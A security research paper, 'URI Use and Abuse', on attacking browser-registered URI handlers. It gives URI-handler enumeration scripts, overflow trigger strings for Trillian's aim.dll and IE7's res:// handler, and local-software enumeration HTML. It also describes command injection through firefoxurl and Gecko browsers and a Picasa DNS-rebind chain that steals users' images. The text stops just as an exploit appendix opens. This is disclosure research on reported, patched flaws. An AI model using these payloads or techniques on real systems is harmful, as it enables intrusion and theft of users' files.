URI Use and Abuse

Nathan McFeters – Senior Security Advisor, Ernst & Young
Billy Rios – Senior Researcher, Microsoft
Rob Carter – Security Advisor, Ernst & Young
Intended Audience

This paper assumes the reader has a solid understanding of web application security principles, Cross Site Scripting, and web browser security mechanisms. This paper will provide information on the discovery of, access of, and exploitation of various URI's supported by various browsers. Please see the reference section of this paper for more information regarding individual types of attacks.

Contributing Authors

Version 1.2

Nathan McFeters – Senior Security Advisor – Ernst & Young Advanced Security Center, Houston

Billy Kim (BK) Rios – Senior Researcher – Microsoft, Seattle

Rob Carter – Security Advisor – Ernst & Young Advanced Security Center, Houston
Table of Contents

INTENDED AUDIENCE ............................................................................................................................ II
CONTRIBUTING AUTHORS ..................................................................................................................... II

CHAPTER 1 – UNIVERSAL RESOURCE INDICATORS (URIS) ........................................................ 5
  1. OVERVIEW .............................................................................................................................................. 5
  2. INTERACTION WITH BROWSERS ............................................................................................................... 5

CHAPTER 2 – ATTACK FOUNDATIONS .............................................................................................. 6
  1. CROSS SITE SCRIPTING (XSS) ................................................................................................................. 6

CHAPTER 3 – URI DISCOVERY ............................................................................................................. 7
  1. OVERVIEW .............................................................................................................................................. 7
  2. IANA Registry ..................................................................................................................................... 7
  3. DUH (DUMP URL HANDLERS) ENUMERATION TOOL ................................................................. 7
  4. DUH (DUMP URL HANDLERS) FOR LINUX ENUMERATION TOOL ............................................ 8
  5. DUH (DUMP URL HANDLERS) TOOL FOR ENUMERATION OF REGISTRY ............................ 9
  6. OTHER LINKS ........................................................................................................................................ 10

CHAPTER 4 – ATTACKING URIS ......................................................................................................... 11
  1. OVERVIEW ............................................................................................................................................ 11
  2. TYPES OF ATTACKS ............................................................................................................................... 11
  3. STACK OVERFLOW IN TRILLIAN’S AIM.DLL THROUGH THE AIM:// URI ...................................... 11
  4. COMMAND INJECTION IN CALL TO TRILLIAN’S AIM.DLL ......................................................... 12
  5. SEE THE IEPWNSTRILLIAN.AVI VIDEO IN THE FOLDER FOR THIS PRESENTATION FOR A DEMO. 13
  6. BUG IN MICROSOFT’S IFRAME.DLL THROUGH RES:// URI ....................................................... 13
  7. LOCAL SOFTWARE ENUMERATION THROUGH RES:// URI ...................................................... 18
  8. DATA URI - FIREFOX ............................................................................................................................ 21
  9. CROSS-BROWSER SCRIPTING – IE PWN’s FIREFOX AND NN9 ................................................ 23
  10. COMMAND INJECTION IN FIREFOX AND ALL GECKO BASED BROWSERS ............................. 24
  11. TRUST-BASED APPLET ATTACK AGAINST GOOGLE’S PICASA (T-BAG) .................................... 24
  12. SEE THE FIREPWN.AVI VIDEO IN THE FOLDER FOR THIS PRESENTATION FOR A DEMO .......... 24
  13. APPENDIX A – DUH4WINDOWS CODE (DUH.VBS) ........................................................................ 26
  14. APPENDIX B – DUH4LINUX CODE (DUH4LINUX.SH) ................................................................. 28
  15. APPENDIX C – DUH4MAC CODE ...................................................................................................... 29
  16. APPENDIX D – CODE FOR EXPLOITING AIM.DLL BUFFER OVERFLOW .................................. 31
  17. APPENDIX E – TRILLIAN COMMAND INJECTION URI ............................................................... 33
  18. APPENDIX G – ENCODED FIREFOX DATA URI PHISHING SITE ................................................ 40
  19. APPENDIX H – CROSS BROWSER SCRIPTING URLS .................................................................... 43
  20. APPENDIX I – GECKO BASED BROWSERS COMMAND INJECTIONS ........................................... 44
  21. APPENDIX J – BUTTON.PBF CODE FOR PICASA EXPLOITATION ............................................ 45
  22. APPENDIX K – PWN.PY CODE FOR PICASA EXPLOITATION .................................................... 46
Chapter 1 – Universal Resource Indicators (URIs)

1. Overview

A Uniform Resource Identifier (URI), as defined by Wikipedia, is “… a compact string of characters used to identify or name a resource. The main purpose of this identification is to enable interaction with representations of the resource over a network, typically the World Wide Web, using specific protocols.”

We all know the standard URIs and what they mean, http://, https://, ftp://, file://, etc. This paper will demonstrate several more URIs, both documented and non-documented, that are used by developers for specific interactions with their program; however, when registered within the windows registry, also allow IE6/IE7 and other browsers to interact with the programs as well.

2. Interaction with Browsers

In an apparent effort to provide feature-rich browsers, Microsoft and Mozilla have allowed developers the ability to hook a URI into the browser’s set of known URI and associate some action with that URI. An example that is commonly used, if not commonly known of, is the rtsp:// URI. This associates the browser with some form of streaming media, which can be accessed by appending a resource location to the rtsp:// URI.

Accessing a remote resource through a specific protocol such as rtsp://, https://, ftp://, etc. is perhaps the most common reason a URI is created and registered with the browsers, but the fact of the matter is that ANY developer can create and hook a URI to a browser for ANY reason they so choose. It is clear that these developer-created URIs seem to be undocumented, and further, may not be put through the same level of scrutiny in the security world as they are relatively unknown. When combined with the fact that they can be accessed and interacted with through the browser OR through Cross Site Scripting (XSS) attacks this really opens up a new avenue for attack.
Chapter 2 – Attack Foundations

1. Cross Site Scripting (XSS)

XSS is typically caused by a lack of adequate input filtering and/or improper output encoding. XSS can allow an attacker to supply arbitrary client-side code (JavaScript, VBScript, etc.) that will ultimately be rendered and executed within the end user’s web browser. When this client-side code is rendered within the users’ browser, the attacker can gain access to the DOM existing within that browser.

XSS has shown itself to be a powerful attack, allowing attackers to steal various pieces of sensitive information. XSS basically gives the attacker control over the victims’ browser, allowing the attacker to masquerade various requests as the victim. Although the techniques to prevent XSS seem simple and easily implemented, developers are finding that the completely eliminating XSS from their web applications is a difficult and continuously evolving process. The power given to the attacker via XSS and the prevalence of XSS in the “wild” make XSS a favorite choice of web application hackers.

For the purposes of this paper, what we must be aware of is the potential to create an XSS attack that accesses the exposed URIs that a browser allows to be accessed, further that this linkage will in effect allow an attacker to interact with programs other than the browser on a victim’s system.
Chapter 3 – URI Discovery

1. Overview

This chapter will walk the reader through several different URI discovery methods that were used for the purpose of this paper, including internet resources and the ability to discover what URIs are exposed through the Windows Registry.

2. IANA Registry

RFC 4395 defines an IANA-maintained registry of permanent and provisional URI Schemes. This registry is a good starting point for discovering URIs that are supported; however this registry contains more in the way of common and historical entries that one might expect would exist, such as telnet:/. Of perhaps more interest is a reference to the *retired index* of WWW Addressing Schemes. This page and several of the links it references contain a wealth of information on URI schemes, as it was designed to capture URIs that had never been registered as well as those currently maintained and registered.

3. DUH (Dump URL Handlers) For Windows

It was discovered that the windows registry actually maintains a list of URIs and the actions they are registered for. To facilitate quick recovery of these URIs, Erik Cabetas developed the DUH Tool (see Appendix A for code). This tool will enumerate the URIs exposed by the windows registry, and additionally the commands that are run when these URIs are accessed. Screenshot 1 below provides an example of what was discovered on my corporate laptop.

1 http://www.iana.org/assignments/uri-schemes.html
2 http://www.w3.org/Addressing/schemes
3 Developed by Erik Cabetas, extended by Billy Rios and Nathan McFeters
The most important use of the DUH tool is to discover the underlying command that will be run when accessing the URI.

4. DUH (Dump URL Handlers) For Linux

Similar to Microsoft Windows, Linux also uses URIs and certainly needs a place to keep track of those URIs and the applications they are registered to. This is largely dependent up on the Desktop/Windows Manager of your choice, but we have created the DUH4Linux Tool (see Appendix B for code) to enumerate the URIs exposed by Gnome and KDE. Screenshot 2 below shows an example of discovered URIs on an install of Linux Backtrack.
5. DUH (Dump URL Handlers) For Mac

Of course Mac can't be left out of the mix and also uses URIs. The folks over at apple are even so kind as to give us an API for accessing these URIs. Having little experience coding on a Mac environment in our group, we worked with Carl Lindberg, creator of RCDefaultApp⁴, to help us create DUH4Mac (see Appendix C for code). Screenshot 3 below shows an example of discovered URIs on an install of a fully patched Mac OS X Leopard system.

⁴ Much thanks to Carl Lindberg for the help, you can find some of his other useful apps here: http://www.rubicode.com/Software/
6. Other Links

There are several other great links on this subject which we have discovered, most notable among them are those listed in our references section.
Chapter 4 – Attacking URIs

1. Overview

This chapter will walk the reader through a couple of attack scenarios that our research has uncovered. This is obviously not an exhaustive analysis of all attack vectors, in fact, the hope is that others will take this research further and discover more avenues of attack.

2. Types of Attacks

What is important to note here is that these URIs link us to commands and programs which have been written by developers and are subject to all of the same code flaws that any other system might be, what is most interesting is that the usage of URIs links us to that back end application through a browser, making Cross Site Scripting attacks a possible trigger of any flaws we may discover. We present in this paper three examples of what we’ve discovered, there is certain to be more, and the key to keep in mind is that these CAN be delivered through XSS.

3. Stack Overflow in Trillian’s aim.dll through the aim:// URI

The Trillian application is a tool that allows users to chat across multiple protocols, such as AIM, IRC, ICQ, Yahoo!, and MSN. When Trillian is installed, the aim:// URI will be registered in the Windows Registry and associated with the command ‘Rundll32.exe “C:\Program Files\Trillian\plugins\aim.dll”, aim_util_urlHandler url=”%1” ini=“c:\program files\trillian\users\default\cache\pending_aim.ini”’. As you can see, calling the aim:// protocol will spawn a Rundll32.exe process which will load aim.dll with the specified options. The value that is put into aim_util_urlHandler url is controlled by the user through the URI, such as aim://MyURL. This value is later copied without bounds checking and an attacker can use this to cause a stack overflow exception.

Accessing the following URL from IE6, IE7, or Firefox will trigger a stack overflow:

aim:///#1111111111111111111111111111111111111111111111111111111
111111111111111111222222222222222222222222222222222222222222222222
2222222222222222222222222222222222222222222222222222222222222222
3333333333333333333333333333333333333333333333333333333333333333
5555555555555555555555555555555555555555555555555555555555555666
666666666666666666666666666666666666666666666666666666666666666666666666
666666666666666666666666666666666666666666666666666666666666666666666666
777777777777777777777777777777777777777777777777777777777777777777777777
99999999999999999999999999999999999999999999999999999999999999999999999999
000000000000000000000000000000000000000000000000000000000000000000000000

Screenshot 4 below illustrates the stack overflow being captured using OllyDbg as a Just-in-time Debugger and Screenshot 5 illustrates that we have control over SE handler and Pointer to next SEH.
What’s most interesting about this example is that it can be leveraged through an XSS exposure. Quite simply one could create JavaScript code that would simply spawn a new window accessing the URI that causes the buffer overflow, in fact, Appendix D provides this code.

4. Command Injection in Call to Trillian's aim.dll

The aim:// URI is a vulnerable to a command injection through an XSS exposure. The command that it is associated with takes two parameters, “URL” (which the attacker controls), and “ini”, which is set by default to C:\Program Files\Trillian\users\default\cache\pending_aim.ini.
An attacker can inject a " to close off the “URI” argument and can then inject a NEW “ini” parameter. The “ini” parameter is used by Trillian to specify a file location to write startup data to… this startup data INCLUDES the full aim:// URL that we send. Since we can control some of the content that is written to the file, and we can control the location the file writes to, we can write arbitrary content to the C:\Documents and Settings\All Users\Start Menu\Programs\Startup folder AND we can write that content as a .bat file. What this does for us as an attacker is it gives us the ability to create a batch script that will run every time this machine is installed. Here’s a screenshot of the file as it is written to the system:

Screenshot 6: The Pwnd.bat File Has Been Written to the Startup Folder

When pwnd.bat is executed upon restart, its contents will be executed. For an example of the exploit to run this, see Appendix E.

See the iepwnstrillian.avi video in the folder for this presentation for a demo.

5. Bug in Microsoft’s IEFrame.dll through res:// URI

The res:// URI is a predefined pluggable protocol in Microsoft that allows resources like images, html, xsl, etc. to be pulled from DLLs or executables. The way you would commonly access resources through the res:// protocol would be of the form:

res://ieframe.dll/info_48.png

One place you will see this is in Internet Explorer’s default error pages as it pulls in the images for those pages using res://. See Screenshot 7 below for an example.
Accessing resources through the res:// URI can also be done using a numerical format, such as res://c:\windows\explorer.exe/#2/#167. When the fore mentioned resource URI is entered into an IE7 browser running on Windows XP (SP2), the following image is displayed.
Using a method similar to that used for the aim.dll, a malicious attacker can craft a request to a resource URI that will cause IE 7 to crash. This issue was reported to Microsoft and has been patched in MS07-035 (Shoutz to Dave at the MSRC). This particular vulnerability was caused by a lack of validation of the “sType” passed which is passed from IE7 to various places on the users system (including a Windows API). Ultimately, the sType value is passed to a function which is expecting an unsigned short integer. The screenshot below shows the users system when making a request for a resource URI with a sType equal to 65535.

The exact request in the screenshot below is: Res://c:\windows\explorer.exe/#65535/#167
Screenshot 9: IE7 Loading a Resource Request with sType Equal to 65535

The screenshots below show the results of a URI request containing a sType greater than 65535. Like any self-respecting researcher, my JIT debugger fires just as IE7 crashes!

The exact request in the screenshot below is:
Res://c:\windows\explorer.exe/#65536AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/#1
Keep in mind that this request can be called remotely, or through the use of XSS or CSRF.

NOTE – These examples use the explorer.exe, but any exe or dll can be used to initiate the overflow (ex. Res://ieframe.dll/#65536AAAAAAAAAAAAAAAAAAAA/#1)
6. Local Software Enumeration Through res:// URI

In addition to overflowing the functions that handle resource (res://) requests, it is also possible to use this URI for other nefarious activity. One example of how a URI can be abused is presented below.

IE7 has several features to prevent malicious HTML from collecting personal information from a user. Beginning with IE7, three new feature control keys have been implemented to prevent Internet and intranet HTML from loading images, objects, and scripts from the user's local file system (http://msdn.microsoft.com/library/default.asp?url=/workshop/essentials/whatsnew/whatsnew_70_sec.asp). These features are "opt-in" features, forcing a process to be explicitly added to the appropriate control key. The two exceptions for the control keys are:

1.) The source file containing the item to load was itself loaded from the local file system
2.) The source file originates from the Trusted Sites Zone

Due to the new feature control keys implemented in IE7, IE7 will block attempted local file system access via script.src and the img.src objects. Typically, local files are loaded into image, object, or script objects by setting the "src" property to a file location via the "File://" URI. IE7 specifically blocks attempted access to the local file system via the "File://" URI, however it still allows access via the Resource (Res://) URI, even if the HTML does not meet the exception criteria described above.

Using the Resource URI, it is possible to set the img.src attribute to a resource within an executable or dll on the user’s local file system. Many executables (and some dlls) have bitmaps (and other images) embedded into the executable. These images can be loaded into an image object by setting the "src" property equal to the resource inside of an executable or dll on the user's local file system. Loading of resources on the local file system is possible, even if the user is running IE7 with the highest security settings and has scripting disabled. The following HTML code demonstrates the loading of a resource from the user's local file system with IE7 set at the highest security settings.

Sample HTML Code to Load Local Resources Initiated from Internet Site

```html
<html>
<body>
<noscript>
<img src = "res://c:\windows\explorer.exe/#2/#167" >
</noscript>
</body>
</html>
```

The screenshot below shows the local resource being loaded from an Internet Site.
This type of vulnerability can easily be exploited through the means of Cross-Site Scripting (persistent or reflected) or if the user simply visits (or is redirected to) a site with this HTML code. Once again, users of IE7 will be vulnerable, even if their browser is set to enforce the highest security settings.

Using this vulnerability, an attacker could build a listing of known installation paths and resources associated with various pieces of software. By loading the attacker built list of resources into an img object, the attacker can enumerate the various pieces of software installed on the user's local file system. In most cases, the attacker can even determine the specific versions of software installed on the user’s local file system. Once an attacker has enumerated the software installed on the user's machine, they can then target their exploitation attempts to specific vulnerabilities associated with those pieces of software installed on the user's machine.

Enumeration of software installed on a user's machine could also create a privacy issue. Unscrupulous vendors could scan a user's machine to determine whether a user has a competitor's software, software related to a health related condition (diet tracking software, diabetes testing software...etc), or other sensitive software installed.

The screenshot below shows a simple HTML page that enumerates various pieces of software on the users local file system. The actual HTML used in this example
is provided in Appendix F. In a real world example, an attacker could initiate this type of functionality through XSS or URL redirection to achieve the same results.

Screenshot 13: Software Enumerated From the Local File System

This issue has also been reported to the Microsoft Security Response Team. Combined with the techniques outlined in the “Attacking URIs” section, this software enumeration vulnerability could be an excellent way to discover vulnerable software with registered URI handlers!
7. Data URI - Firefox

Before we start bashing IE7 for its support of the Resource Protocol, Firefox had a similar issue (which is now patched... kinda). You can read about the Firefox Resource flaws on RSnake’s site at: http://ha.ckers.org/blog/20070516/read-firefox-settings-poc/. Although Nate, Raghav Dube, and I (BK) had discovered this “feature” sometime in 2006, we missed the disclosure boat, so shoutz go to shutdown and Boris Zbarsky for reporting the vulnerability to Mozilla! Although Mozilla may have patched some of the Resource URI stuff, a few more Firefox specific URIs remain open for abuse. One of my favorites is the data URI.

The data URI allows for an attacker to basically embed files directly into a URL. For example, the horrendous URL below actually renders (when requested by Firefox) into the image we have all come to know and love.

data:image/gif;base64,R0lGODlhSwAgANUAAJOk3cTN7v6tXbrF6kllyKm52FRsmFlzzERzWWhK1Y2BRZAgDYzaGJ6z6+0zKIQG2yD0ppq32uArJZCNoye3DpZwvVNq+MINhGjybrzp2YUGU2ZOKBrDj7ZGj5suQ19u4EBLzzaaYsDZp8oCJZ1sf0kYaZ2qaqs9NkS0eO57mnS4akpLJKjVOMQVYxSx32Ato4EFxkTQF7SRy04KvYqK6gK6gKvYqK6uonOz3ePus5ixKGWiw118b515pGSf6CH5BAAAAAAAABACABACABCAAbAQJmQQMwvY8hsk5mA0EmUEoXRakVWu1mSiQ0k2Bm5mnNYotHZGPnjF4250Pq1Dd30wdeK+NCV1doagQhwmHlmxvTu5ecpFyX4Wgp+TGRXmqICaAfCagkh31hl6OXP7lhCg7OJGpm6PWUtrsKMbsGxv+sfL5m6oay6WoR+9z72i71FJRyv68FBQA2drdclj3+zlCGfeVsIQ+JzozAgjwldJ1EjRoL4UNSM0/D40hiAbKMQTNiGYWYIoFROhtjeGbAAYuYsqEJ6wcbaeGBP2aA0AGh16aNNH4ABFCRFQFEi4zjbLYbucSNLHEAhc4cBh02ii/z9yXPnyaKGKhh6NIPXSwlWenz4oqs51YCCwXtGFABNrcGSEngjGgdwr8BgrZAGfphwleHogLdW9TwAlAaU540arcNpCbtobpCYD1jKP0fA4EmzISHBQwMubHwigtAG6yZbh640QsccPpZX47UKCgBS8qF6B7NKjF3a5h04EmQMOAhQRTe/jQ8Nay7wBwXwXSQUWKc8QRM6oZVwPzBiU3derivedMPQmCagQ4dHBAAwAuD+MTM4icGAByGMOJwYycHAgN/w4bYgleKOCaobjkB4XvFbQc71GVAQcHoAMMHTwXmAMyYBCWBNkAIJOVSJiHoQtPcefPCvGPB8B8EQVAAJj2iwnJNeeaDAf2AZMEJ5FrzQw1uFDeBAChOkZhccJZDwaUHYKDNDBpyCF8KC1zWW3gLDGDDBCtCEnwAI1DAqgGRUtvWBjF0UBmDJARQA1F3CBLBZ6ZFMvXw2ABz4tUSlKq5QplqJGDBsc+OUCNDDwogNe+DSSpE7E8C88BAgAkHdhJmZe/dt/9ZKJ5oZAACkHBBCCC9MjIYnu3I3AQAPyMDADjwuUBN28zhGQccvNDahpXpcF6gw2F45v5zOYBBkBk+4psO74A4Q6QAc0GDqC3BAVTSOTdikFwAnLHTTPKphEMfOkyw0GAXqejjD4S9ycfDsQvGS+ACzwDX7g1lD0GADcVEJ610AhAqprgUOUXDRPLCo9icLFuyQ57mSecDAIp+xacdCr1z1AgK10aAwaq4RZCeLsCGq1KpbAIrDsUbpBPIyVowvjaAAAJgYYEHEBUzAowiumTBBHiw+h85GHNJ6AonBljEcQjtskHoBH31iQqKGMJADLdc4o040G0FqTdaQ3U/hhNBTXGwMACJTAqgAipJJaUYAMyZkBidNdQarbQgWACARoDrUNM6a6/NwCjm7AGL1zWVJ0ENpvE+S+V0xKqcjmCJdnkBEldbw+nFwpAXVFQdRItQznC176c8PUYVHgf5plgszlt8QAMBwCUowaRAXMN8LIA1QniuBDFMqEoMRLFrXtEwqekU5DDCx2wFDwp0yARxsG6fBKTLMF38yvrkGUPgUaqJD97728oEEOXcS0SCAp5JHEQOyJ3x8LV7GKAdfQA75BIqB0eHAStSGou3iC1xAmKWWY5X0MN/CjmFKDogNg14ECskA8MywHCLQAXbGnol/AXKMy4W9q+BS8FOByrACGQ0QogkQDAWQWpixHMaiFaio4CWiQyAYS/jb/m9CIClHYQTxwodHMPIEUHxCPlQEpv4RK3qAU7DOEGek2AFDqO4CifElRJe5KlgggAAOw%3D%3D
The example given above merely demonstrates that the Data URI can be used to serve up a simple gif file however; the Data URI can be used for more sinister purposes, such as serving up executables and other malicious content. The Data URI offers the attacker the following advantages:

1.) The attacker has full control of the content that is served by the Data URI
2.) The Data URI can be encoded to mask the true contents of the payload
3.) The attacker no longer has to host their malicious content on a server
4.) The Data URI doesn’t contain traditionally dangerous strings (ex. JavaScript:)
5.) The Data URI is enabled in Firefox browsers by default

As the Firefox browser gains popularity, we should expect to see more and more payloads use the Data URI to store the malicious content. Phisher’s will no longer have to worry about their web servers being brought down when they can serve their victims a hyperlink to a Data URI that presents an exact copy of your favorite bank or credit union. Appendix G shows a Data URI that reproduces a well known site, all stored within an encoded URL!

***Update – PDP over at gnucitizen.org also has a nice exploit of this issue.

Screenshot 15: An Entire Webpage Stored Within a URL!
8. Cross-Browser Scripting – IE Pwns Firefox and NN9

Firefox and Netscape Navigator 9 register URIs to be “compliant with Windows Vista”. These URIs (“firefoxurl” and “navigatorurl” respectively) when called from IE 7 will accept user supplied double-quote characters and pass the string to the application to be run by the URL handler without sanitization. This has been discovered to be a Microsoft issue with shell32.dll. The interaction works as such, a URI like our attack vector is encountered by IE7 which passes it down to shell execute with the intention of running the associated application with the supplied input. Shell32.dll will then pass the URI back to IE7 to try to determine if the URI is valid or not. If it is not, IE 7 will say so, and shell32.dll will try to manipulate the URI in an effort to continue running the application. Our attack vectorconfuses shell32.dll into running arbitrary commands of our specification.

This is not vulnerable on Windows Vista, as the issue in shell32.dll was already patched there, and is also not vulnerable if the user is using IE6, as it will not inform shell32.dll that the URI is mangled.

The following is the command that is run when a user requests the firefoxurl:// as an example (Netscape Navigator is roughly the same):

---
Ernst & Young’s Advanced Security Center – URI Use and Abuse
23
From the URL, we can control what is passed into the command at the %1 location. If we supply a double-quote and a space character, then we can inject our own parameter, in this case the optimal solution would be to inject the –chrome argument. From chrome, we can create javascript that will allow us to spawn a new command.

Dependent upon the setup of a user’s system, this may be vulnerable in more URIs than just firefoxurl and navigatorurl. On a test machine, this was also vulnerable through the ftp URI. The code used to exploit this issue is illustrated in Appendix H.

See the iepwnsfire.avi video in the folder for this presentation for a demo.

**9. Command Injection in Firefox and ALL Gecko Based Browsers**

Gecko based browsers do not properly sanitize the values passed to several URIs and this can lead to a command injection thru XSS. This occurs because special characters in the request confuse the browser into passing control of the URL off to the associated File Handlers within the Windows Registry, as opposed to the proper URL Handler. Because we can control the extension type at the end of our request, it is possible to force consumption of the URL to an executable type file handler, such as that for .exe or .bat files.

Due to difference in the way Gecko based browsers and Windows handle some special characters, it is possible to control what programs can be executed when using an executable type extension. Our PoC code is innocuous and simply kicks off the calc.exe program, but attackers could be much more nefarious.

Versions of Firefox < 2.0.0.6 are vulnerable, as is current versions of Mozilla, Sea Monkey, Thunderbird (was patched), Nvu, Netscape Navigator 9, and others. Appendix I below provides the relevant URIs to cause these attacks.

See the firepwn.avi video in the folder for this presentation for a demo.

**10. Trust-based Applet Attack against Google’s Picasa (T-bAG)**

It is possible to utilize Picasa’s built-in picasa://importbutton?url= URI, through an XSS exposure, to force a user to import a button of the attacker’s control. Similar to the Picasa2Flickr project, it is possible to import a button that will post the local URIs of a user’s images to an attacker’s site. These local URIs are URIs to a local web server started by Picasa that can only be accessed on the local loopback.

Typically, projects like Picasa2Flickr will use these buttons to load a Java Applet that asks the user if it is ok to access their file system and upload their content from Picasa to Flickr. The applet is loaded into a built-in web browser object in Picasa.
Instead of loading an applet, it is possible for an attacker to load a Flash actionscript that can be used to cause a DNS rebind, allowing the attacker to trick Flash into communicating with the localhost (and thus the Webserver started by Picasa). The Flash can then utilize the URLLoader objects built into actionscript to access the images and grab their binary content. An attacker would then use Flash’s capability to make cross-domain requests to off load the content back to a server that he/she controls, thus stealing a user’s images.

So let’s recap this all:

1.) User is XSS’d and the exposure loads a Picasa button file (see Appendix J for our example button code).

2.) The user clicks the button we’ve loaded and Picasa sends the local URLs of the users images to our remote Python CGI Script, pwn.py (see Appendix K for the code).

3.) Our CGI script pwn.py process the XML sent by Picasa and loads an HTML page that loads a Flash object back to the victim (see Appendix L for the code).

4.) The flash actionscript provides a small timeout for us while we change our DNS record to point to 127.0.0.1, thus causing a DNS rebind.

5.) The flash actionscript makes calls to the site we loaded it from (which now points to 127.0.0.1) and downloads the bit streams of the user’s images into URLLoader objects.

6.) The flash actionscript loads a cross domain policy file (see Appendix M) from another server in our control allowing it to upload the images to a remote server.

7.) Our remote server has a Perl script listening to catch images and save them to disk (see Appendix N for the code).

8.) The attacker can view the results of the stolen images using the admin.php script (see Appendix O for the code).

See the picasa_pwn.avi video in the folder for this presentation for a demo.
Appendix A – DUH4Windows Code (DUH.vbs)

' Dump URL Handlers (DUH!)
' Enumerates all the URL handlers registred on the system
' Run this only once
' cscript.exe //H:CScript
' This command executes the script
' cscript.exe //Nologo DUH.vbs
'
' satebac
On Error Resume Next
Const HKCR = &H80000000
Dim wsh
Dim comment
Dim command
Dim isHandler

set wsh = WScript.CreateObject("WScript.Shell")
Set oReg = getobject("winmgmts:{impersonationLevel=impersonate}!\.oot\default:StdRegProv")
ret = oReg.EnumKey(HKCR, "/", arrSubKeys)
if ret<>0 Then
    ret = oReg.EnumKey(HKCR, ",", arrSubKeys)
end if

if ret=0 and IsArray(arrSubKeys) Then
    For Each subkey In arrSubKeys
        isHandler = wsh.RegRead("HKCR\" & subkey & "\URL Protocol")
        if Err=0 Then
            comment = wsh.RegRead("HKCR\" & subkey & "\"")
            command = wsh.RegRead("HKCR\" & subkey & "\shell\open\command\")
            Wscript.Echo subkey & Chr(&H09) & comment & Chr(&H09) & command
        else
            Err = 0
        end if
    Next
else
    WScript.Echo "Something is very very wrong ret=" & ret & " err=" & Err & " " & IsArray(arrSubKeys)
    WScript.Echo "Look for the ret code in winerror.h"
end if
Appendix B – DUH4Linux Code (DUH4Linux.sh)

#!/bin/sh

KDEDIR=/opt/kde/share/services
ORIGDIR=`pwd`

if [ $1 = "gnome" ]; then
  gconftool-2 /desktop/gnome/url-handlers --all-dirs | cut --
delimiter=/ -f 5 | while
    read line;
    do {
      gconftool-2 /desktop/gnome/url-handlers/$line -a | grep
-i 'command' | cut --delimeter== -f 2 | while
        read line2;
        do {
          echo -e "$line\t$line2"
        } done
    } done
else
  if [ $1 = "help" ]; then
    echo
    echo "./DUH.sh <option>"
    echo
    echo -e "gnome\tshow URIs registered in gnome"
    echo -e "kde\tshow URIs registered in kde"
    echo
  else
    cd $KDEDIR
    URIS=`ls *.protocol | sed s/.protocol//`
    for U in $URIS; do
      F=`cat $U.protocol | grep 'exec=' | sed
s/exec=//`
      echo -e "$U\t$F"
    done
    cd $ORIGDIR
  fi
fi
Appendix C – DUH4Mac Code

/******************************
* Code created by Carl E. Lindberg – Thanks a ton Carl! *
* See his RCDefaultApp and other great Mac Applications at *
* http://www.rubicode.com/Software/ *
*******************************/

/******************************
* Compile on Tiger: *
* cc DUH4Mac.c -o logurls -framework CoreFoundation -framework *
* ApplicationServices *
* *
* Compile on Leopard: *
* cc DUH4Mac.c -o logurls -framework CoreFoundation -framework *
* CoreServices *
*******************************/

/******************************
* To run: *
* #>./DUH4Mac *
*******************************/

#include <stdio.h>
#include <AvailabilityMacros.h>
#include <CoreFoundation/CoreFoundation.h>
#if !defined(MAC_OS_X_VERSION_10_5) || MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_5
#include <ApplicationServices/ApplicationServices.h>
#else
#include <CoreServices/CoreServices.h>
#endif

/* Private Apple API... helpful for enumerating. */
extern OSStatus _LSCopySchemesAndHandlerURLs(CFArrayRef *outSchemes, CFArrayRef *outApps);

static void GetBuf(CFStringRef string, char *buffer, int bufsize)
{
    if (string == NULL)
        buffer[0] = '\0';
    else
        CFStringGetCString(string, buffer, bufsize, kCFStringEncodingUTF8);
}

int main()
{
    CFArrayRef apps;
    CFArrayRef schemes;
    CFArrayRef sorted_schemes;
int i;

printf("URL Name                  App (Current Path)\n");

_LSCopySchemesAndHandlerURLs(&schemes, &apps);
_LSCopySchemesAndHandlerURLs(&sorted_schemes, &apps);
CFIndex ind = CFArrayGetCount(sorted_schemes);
CFRange range = CFRangeMake(0, ind);
CFArraySortValues(sorted_schemes, range, CFStringCompare, NULL);
for (i=0; i< CFArrayGetCount(schemes); i++)
{
    CFStringRef scheme = (CFStringRef)
    CFArrayGetValueAtIndex(schemes, i);
    CFStringRef sort = (CFStringRef)
    CFArrayGetValueAtIndex(sorted_schemes, i);
    CFURLRef appURL = (CFURLRef) CFArrayGetValueAtIndex(apps, i);
    CFStringRef appName;
    CFStringRef appURLString = CFURLCopyFileSystemPath(appURL,
    kCFURLPOSIXPathStyle);

    char schemeBuf[100];
    char nameBuf[300];
    char urlBuf[2048];

    LSCopyDisplayNameForURL(appURL, &appName);
    GetBuf(sort, schemeBuf, sizeof(schemeBuf));
    GetBuf(appURLString, urlBuf, sizeof(urlBuf));
    GetBuf(appName, nameBuf, sizeof(nameBuf));

    printf("%-25s %s (%s)\n", schemeBuf, nameBuf, urlBuf);

    if (appURLString != NULL)
        CFRelease(appURLString);
    if (appName != NULL)
        CFRelease(appName);
}

CFRelease(apps);
CFRelease(schemes);
CFRelease(sorted_schemes);

exit(0);
return 0;
Appendix D – Code for Exploiting AIM.dll Buffer Overflow

Written by Nathan McFeters <nate.mcfeters@gmail.com>

Greetz to BK "Have it Your Way" Rios, Raghav "The Pope" Dube, Erik Cabetas, and all of the Advanced Security Center members both past, present, and future see you all in Vegas!

The following could be implemented as an XSS attack vector (obviously most useful in a persistent attack vector) and will cause IE7, IE6, and Firefox to load the aim:// URI with the string we've supplied. IE queries the windows registry to find what program is associated with this URI and then attempts to run that. In this case, calling aim:// will kick off rundll32.exe "C:\Program Files\Trillian\Plugins\aim.dll" aim_util_urlHandler url="%1" ini="C:\Program Files\Trillian\users\default\cache\pending_aim.ini". The user can control the value of the url substituted for %1 and this value will later be copied into a buffer without bounds checking causing a stack overflow.

As you can see from the variables listed below, the attacker can control the values for ptrToNextSEH and SEH. I suggest setting OllyDbg or WinDbg or whatever you choose as your JIT Debugger then open this file in IE7 or IE6.

```javascript
